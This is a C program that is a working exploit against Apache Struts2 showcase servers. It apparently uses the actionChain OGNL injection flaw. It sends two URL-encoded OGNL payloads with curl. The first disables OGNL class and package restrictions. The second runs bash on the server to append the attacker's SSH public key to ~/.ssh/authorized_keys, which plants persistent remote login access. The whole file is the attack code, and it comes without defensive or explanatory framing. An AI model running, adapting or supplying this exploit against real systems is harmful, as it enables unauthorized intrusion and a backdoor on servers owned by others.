#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include "utils.h"

int main(int argc, char* argv[]) {
  if (argc < 2) {
    printf("usage example: http://172.16.0.10:8080/struts2-showcase\n");
    return 1;
  }

  const char* url = argv[1];

  // Scratch buffers for building the curl command line.
  char scratch1[2048];
  char scratch2[2048];
  char scratch3[2048];
  char cmd[4096];

  // First OGNL payload, which we need to urlencode and send to the Struts
  // server with curl.
  const char* url1 =
    "${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
    "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl."
    "OgnlUtil@class)).(#ognlUtil.setExcludedClasses(''))."
    "(#ognlUtil.setExcludedPackageNames(''))}";

  // urlencode the first payload and send it to the Struts server.
  urlencode(scratch1, sizeof(scratch1), url1);
  snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1);
  system(cmd);

  // Second OGNL payload. We need to paste our ssh key into the middle of
  // this string and urlencode it.
  const char* url2A =
    "${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
    "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context."
    "setMemberAccess(#dm)).(#sl=@java.io.File@separator)."
    "(#p=new java.lang.ProcessBuilder({'bash','-c','echo -n \"";
  const char* url2B =
    "\">>\"$HOME\"/.ssh/authorized_keys'})).(#p.start())}";

  // Load our ssh key.
  const int fd = open(".ssh/id_ed25519.pub", O_RDONLY);
  if (fd < 0) {
    printf("Could not open id_ed25519.pub\n");
    return 1;
  }
  const int r = read(fd, scratch1, sizeof(scratch1));
  if (r < 0) {
    printf("Could not read id_ed25519.pub\n");
    return 1;
  }
  scratch1[r] = '\0';

  // Escape any slash characters in the ssh key, to stop Tomcat from
  // intercepting them.
  escape_forward_slash(scratch2, sizeof(scratch2), scratch1);

  // Escape the slash characters in url2B.
  escape_forward_slash(scratch3, sizeof(scratch3), url2B);

  // urlencode the second payload and send it to the Struts server.
  snprintf(scratch1, sizeof(scratch1), "%s%s%s", url2A, scratch2, scratch3);
  urlencode(scratch2, sizeof(scratch2), scratch1);
  snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2);
  system(cmd);

  return 0;
}
